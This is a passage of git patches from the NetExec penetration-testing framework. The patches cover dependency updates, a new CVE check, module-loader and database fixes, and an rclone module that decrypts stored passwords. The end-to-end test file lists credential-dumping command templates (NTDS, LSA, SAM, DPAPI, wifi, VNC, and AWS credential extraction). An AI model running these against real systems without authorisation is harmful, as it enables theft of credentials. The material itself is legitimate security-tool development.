"sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"}, - {file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"}, -] +files = [] +develop = false [package.dependencies] cryptography = ">=40.0.1" -impacket = ">=0.12.0" +impacket = ">=0.13.0" lxml = ">=5.0" pyasn1 = ">=0.4.8" +pypsrp = ">=0.9.1,<0.10.0" + +[package.source] +type = "git" +url = "https://github.com/zblurx/dploot.git" +reference = "network_proto_upgrade" +resolved_reference = "291d79d087a7eae99126688d35ed4f766b7ba80e" [[package]] name = "dsinternals" @@ -2990,4 +2995,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "25f60e7259f7357057bcd2bb0bcc33475123c141864172753791300d45a04698" +content-hash = "b287efc21695b5407fd0350d03209d8a5034e2799baa2ae016aa62b1e061be35" diff --git a/pyproject.toml b/pyproject.toml index da46c31cd8..658c678218 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -23,7 +23,7 @@ dependencies = [ "beautifulsoup4>=4.11,<5", "bloodhound-ce>=1.8.0", "certihound>=0.1.1", - "dploot>=3.2.2", + "dploot@git+https://github.com/zblurx/dploot.git#network_proto_upgrade", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", From f2cbdc437275b74b2ddfbf65a9c6fc93d03dd760 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 20:44:39 +0200 Subject: [PATCH 123/397] update e2e_commands.txt --- tests/e2e_commands.txt | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 99ff30c4d1..a339ee559a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -35,7 +35,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --ke netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec @@ -196,6 +195,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm ##### WMI Modules netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler @@ -207,6 +208,14 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### LDAP netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind @@ -267,6 +276,14 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex @@ -274,6 +291,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 @@ -302,6 +320,14 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o LIKE_SEARCH=test,secret netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o REGEX=secret SHOW_DATA=False +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS From 2d04789b104f813434d1fbc78b0bfa7eaf3442da Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 20:54:30 +0200 Subject: [PATCH 124/397] update pvk file reading --- nxc/helpers/dpapi.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 9ebeb42e3d..a945e4cab4 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -86,7 +86,8 @@ def get_domain_backup_key(self): pvkbytes = None if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: try: - pvkbytes = open(self.context.args.pvk, "rb").read() # noqa: SIM115 + with open(self.context.args.pvk, "rb") as fd: + pvkbytes = fd.read() # noqa: SIM115 self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") except Exception as e: self.context.logger.fail(str(e)) From 4a235a45b6853baef1f7462b23497984758385ea Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 21:01:58 +0200 Subject: [PATCH 125/397] remove unused mark --- nxc/helpers/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index a945e4cab4..6001d43def 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -87,7 +87,7 @@ def get_domain_backup_key(self): if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: try: with open(self.context.args.pvk, "rb") as fd: - pvkbytes = fd.read() # noqa: SIM115 + pvkbytes = fd.read() self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") except Exception as e: self.context.logger.fail(str(e)) From 6c6970ef4d26f42d593568620892630e05caa628 Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Sat, 25 Jul 2026 12:16:24 +0200 Subject: [PATCH 126/397] Update enum_cve.py --- nxc/modules/enum_cve.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 7346f8e1cb..e0dde66308 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -34,6 +34,7 @@ def options(self, context, module_options): - CVE-2025-54918 (NTLM MIC Bypass) - CVE-2025-53779 (BadSuccessor) - CVE-2024-49019 (EKUwu / ESC15) + - CVE-2026-54121 (Certighost) CVE Filter for specific CVE number (default: All) EXPLOITATION Also provide sources for exploitation details (default: False) @@ -189,4 +190,18 @@ def on_login(self, context, connection): "message": "If host is an AD CS / CA server, it may be vulnerable to ESC15", "exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc", }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121 + "CVE-2026-54121": { + "alias": "Certighost", + "patches": { + (6, 2, 9200): 26226, # Windows Server 2012 + (6, 3, 9600): 23291, # Windows Server 2012 R2 + (10, 0, 14393): 9339, # Windows Server 2016 + (10, 0, 17763): 9020, # Windows Server 2019 + (10, 0, 20348): 5386, # Windows Server 2022 + (10, 0, 26100): 33158, # Windows Server 2025 + }, + "message": "If host is an AD CS / CA server, it may be vulnerable to Certighost", + "exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26", + }, } From b5a1141755dbd3090b0d8ec94bd468bd5bec9fb9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 26 Jul 2026 05:59:48 -0400 Subject: [PATCH 127/397] Formatting --- nxc/modules/rclone.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 3053596ea8..42dbe512aa 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -4,11 +4,13 @@ SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" + def base64_urlsafedecode(string): padding = 4 - (len(string) % 4) string += "=" * padding return base64.urlsafe_b64decode(string) + def deobscure(obscured): encrypted_password = base64_urlsafedecode(obscured) iv = encrypted_password[:AES.block_size] @@ -16,13 +18,11 @@ def deobscure(obscured): crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") return crypter.decrypt(buf).decode("utf-8") + class NXCModule: name = "rclone" description = "Searches for rclone.conf and deobscures credentials" supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - privilege = True def options(self, context, module_options): """No module options.""" @@ -71,7 +71,7 @@ def on_admin_login(self, context, connection): line = line.strip() if not line: continue - + if "=" not in line: context.log.highlight(line.strip()) continue From 9f069f57b5f09d761a828a717daa9647fc1ab67c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 26 Jul 2026 06:00:30 -0400 Subject: [PATCH 128/397] Add module category --- nxc/modules/rclone.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 42dbe512aa..a97f294c07 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -1,6 +1,7 @@ import base64 from Crypto.Cipher import AES from io import BytesIO +from nxc.helpers.misc import CATEGORY SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" @@ -23,6 +24,7 @@ class NXCModule: name = "rclone" description = "Searches for rclone.conf and deobscures credentials" supported_protocols = ["smb"] + category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No module options.""" From c6972c14342ea7aa01aa485d05a20fd06242f013 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 26 Jul 2026 06:21:42 -0400 Subject: [PATCH 129/397] Move deobfuscation functions into the module --- nxc/modules/rclone.py | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index a97f294c07..34365d44b4 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -3,22 +3,6 @@ from io import BytesIO from nxc.helpers.misc import CATEGORY -SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" - - -def base64_urlsafedecode(string): - padding = 4 - (len(string) % 4) - string += "=" * padding - return base64.urlsafe_b64decode(string) - - -def deobscure(obscured): - encrypted_password = base64_urlsafedecode(obscured) - iv = encrypted_password[:AES.block_size] - buf = encrypted_password[AES.block_size:] - crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") - return crypter.decrypt(buf).decode("utf-8") - class NXCModule: name = "rclone" @@ -37,7 +21,7 @@ def on_admin_login(self, context, connection): try: entries = connection.conn.listPath(self.share, base_dir + "\\*") except Exception as e: - context.log.error(f"Failed to list {base_dir}: {e}") + context.log.fail(f"Failed to list {base_dir}: {e}") return False usernames = [ @@ -81,7 +65,7 @@ def on_admin_login(self, context, connection): key, val = map(str.strip, line.split("=", 1)) if key.lower() in ("pass", "password", "password2"): try: - plain = deobscure(val) + plain = self.deobscure(val) context.log.highlight(f"{key} = {plain}") except Exception as e: context.log.warning(f"[{username}] Failed to deobscure {key}: {e}") @@ -89,3 +73,16 @@ def on_admin_login(self, context, connection): context.log.highlight(line.strip()) return True + + def deobscure(self, obscured): + encrypted_password = self.base64_urlsafedecode(obscured) + iv = encrypted_password[:AES.block_size] + buf = encrypted_password[AES.block_size:] + SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" + crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") + return crypter.decrypt(buf).decode("utf-8") + + def base64_urlsafedecode(self, string): + padding = 4 - (len(string) % 4) + string += "=" * padding + return base64.urlsafe_b64decode(string) From 59778f5b7083e237cbdbca46e70db6162f591601 Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sun, 26 Jul 2026 17:32:06 +0200 Subject: [PATCH 130/397] Use self.targetDomain for trust key salt derivation --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 8447c0c8b4..d01be2f3fb 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2562,7 +2562,7 @@ def add_hash(secret_type, secret, host_id): printUserStatus=True, trustKeys=self.args.trust_keys, justTrustKeys=self.args.just_trust_keys, - domainFQDN=self.domain, + domainFQDN=self.targetDomain, perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), ) From 7895b1898e6adb6b4690c537e37af5af3feda115 Mon Sep 17 00:00:00 2001 From: Goultarde Date: Sun, 26 Jul 2026 17:46:39 +0200 Subject: [PATCH 131/397] Also pass dc_ip to dploot Target in dpapi() --- nxc/protocols/smb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0ba8077d73..d7695ab3ef 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2247,6 +2247,7 @@ def dpapi(self): nthash=self.nthash, do_kerberos=self.kerberos, kdcHost=self.kdcHost, + dc_ip=self.kdcHost, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, From 67ec4e14ed87d1efb8dfddbeae0cda23379c2635 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 27 Jul 2026 10:47:10 -0400 Subject: [PATCH 132/397] Fix check for login functions --- nxc/loaders/moduleloader.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index e76024fd3d..7737fc1085 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -40,7 +40,7 @@ def module_is_sane(self, module, module_path): elif not hasattr(module, "options"): self.logger.fail(f"{module_path} missing the options function") module_error = True - elif not hasattr(module, "on_login") and not (module, "on_admin_login"): + elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"): self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True @@ -78,7 +78,6 @@ def load_module(self, module_path): def init_module(self, module_path): """Initialize a module for execution""" - module = None module = self.load_module(module_path) if module: From d592eb153c2f84db957161b4602debf2d3944e46 Mon Sep 17 00:00:00 2001 From: bb Date: Tue, 28 Jul 2026 09:19:13 -0400 Subject: [PATCH 133/397] fix: db_execute lock scope to prevent thread-safety race (#1320) --- nxc/database.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/database.py b/nxc/database.py index 382c12677c..3c86ce357e 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -204,10 +204,9 @@ def clear_database(self): self.db_execute(table.delete()) def db_execute(self, *args): - self.lock.acquire() - res = self.sess.execute(*args) - self.lock.release() - return res + with self.lock: + res = self.sess.execute(*args) + return res.freeze()() if res.returns_rows else res def get_keys(self, key_id=None, cred_id=None): """Return an empty list by default. Protocols that support keys (e.g. SSH) override this.""" From 27d30e48a03490eae3daa093367d262586f68415 Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 28 Jul 2026 15:27:25 +0200 Subject: [PATCH 134/397] add isdc as option --- nxc/config.py | 1 + nxc/data/nxc.conf | 1 + nxc/protocols/smb.py | 6 +++--- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/nxc/config.py b/nxc/config.py index 477bdaf5c2..11b76f6ced 100644 --- a/nxc/config.py +++ b/nxc/config.py @@ -38,6 +38,7 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False) host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) +display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True) if len(host_info_colors) != 4: nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.") diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 6eb6e50094..065737e6c6 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -7,6 +7,7 @@ reveal_chars_of_pwd = 0 log_mode = False host_info_colors = ["green", "red", "yellow", "cyan"] check_guest_account = False +display_dc = True [BloodHound] bh_enabled = False diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ed2919b524..eb0123e967 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -54,7 +54,7 @@ from impacket.dcerpc.v5 import tsts as TSTS -from nxc.config import process_secret, host_info_colors, check_guest_account +from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter @@ -330,8 +330,8 @@ def print_host_info(self): smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else "" - isdc = colored(f" (DC:{self.isdc})", host_info_colors[3], attrs=["bold"]) if self.isdc else "" - null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth and not self.isdc else "" + isdc = colored(f" (DC:{self.isdc})", host_info_colors[3], attrs=["bold"]) if self.isdc and display_dc else "" + null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}{isdc}") if self.args.generate_hosts_file or self.args.generate_krb5_file: From 3ef2a121c5fb5afe81b6729022b35787050604f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 28 Jul 2026 19:24:42 +0200 Subject: [PATCH 135/397] Allow using proto to switch protocole without calling back --- nxc/nxcdb.py | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 7ac164f8fb..1994338d14 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -16,10 +16,6 @@ from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace -class UserExitedProto(Exception): - pass - - def print_table(data, title=None): print() table = AsciiTable(data) @@ -99,7 +95,17 @@ def help_exit(): print_help(help_string) def do_back(self, line): - raise UserExitedProto + self.db.shutdown_db() + return True + + def do_proto(self, line): + if not line: + self.main_menu.help_proto() + return + + self.db.shutdown_db() + self.main_menu.do_proto(line) + return True def do_export(self, line): if not line: @@ -467,17 +473,13 @@ def do_proto(self, proto): db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"]) self.config.set("nxc", "last_used_db", proto) write_configfile(self.config, self.config_path) - try: - proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto) - proto_menu.cmdloop() - except UserExitedProto: - pass + proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto) + proto_menu.cmdloop() @staticmethod def help_proto(): help_string = """ - proto [smb|mssql|winrm] - *unimplemented protocols: ftp, rdp, ldap, ssh + proto [smb|mssql|winrm|ftp|rdp|ldap|ssh] Changes nxcdb to the specified protocol """ print_help(help_string) From eb3a51c86a6541ba7d58722da10a0677bf84a3b8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Tue, 28 Jul 2026 20:23:25 +0200 Subject: [PATCH 136/397] liting --- nxc/nxcdb.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 1994338d14..d9856e6527 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -101,7 +101,6 @@ def do_back(self, line): def do_proto(self, line): if not line: self.main_menu.help_proto() - return self.db.shutdown_db() self.main_menu.do_proto(line) From d40b810aeda5eb4ff5d8ec3eceeb488d44c239b3 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 28 Jul 2026 15:08:04 -0400 Subject: [PATCH 137/397] fix(moduleloader): register loaded modules in sys.modules module_from_spec() + exec_module() does not add the module to sys.modules, which the load_module() call it replaced did implicitly. Modules that define their own impacket NDRCALL requests depend on impacket resolving the matching Response class through sys.modules[request.__module__] (dcerpc/v5/rpcrt.py), so printnightmare aborted every run with: ModuleNotFoundError: No module named 'nxc_module_printnightmare' Register the module under its unique name before executing it. This restores the lookup impacket needs while keeping each module in its own namespace, as the unique name is still distinct per module file. --- nxc/loaders/moduleloader.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index 7737fc1085..c393e7b14b 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -61,6 +61,11 @@ def load_module_file(cls, module_path): module_name = f"nxc_module_{basename(module_path)[:-3]}" spec = importlib.util.spec_from_file_location(module_name, module_path) module = importlib.util.module_from_spec(spec) + # Register before executing. Modules that define their own impacket + # NDRCALL requests rely on impacket resolving the matching Response + # class via sys.modules[request.__module__] (rpcrt.py), which the + # previous load_module() satisfied implicitly. + sys.modules[module_name] = module spec.loader.exec_module(module) cls.module_cache[module_path] = module return cls.module_cache[module_path] From 476228c386453b6f209ccbe21c8ee5ff750b13a7 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 28 Jul 2026 15:08:13 -0400 Subject: [PATCH 138/397] test(e2e): cover printnightmare in e2e_commands MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit printnightmare was absent from the e2e command list entirely, including the combined multi-module line. It defines its own impacket NDRCALL requests, which makes it the module most sensitive to how the loader registers modules in sys.modules — and the gap meant a loader regression that broke it ran clean through the whole suite. Add it standalone and to the multi-module line, so both single-module and multi-module loading paths exercise it. --- tests/e2e_commands.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 99ff30c4d1..71a1917939 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -144,6 +144,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_p netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs LISTENER=127.0.0.1 # Will need to change the PID for your test system netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir' +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M printnightmare netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman @@ -180,7 +181,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologo #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 netexec smb TARGET_HOST -u LOGIN_USERNAME -p 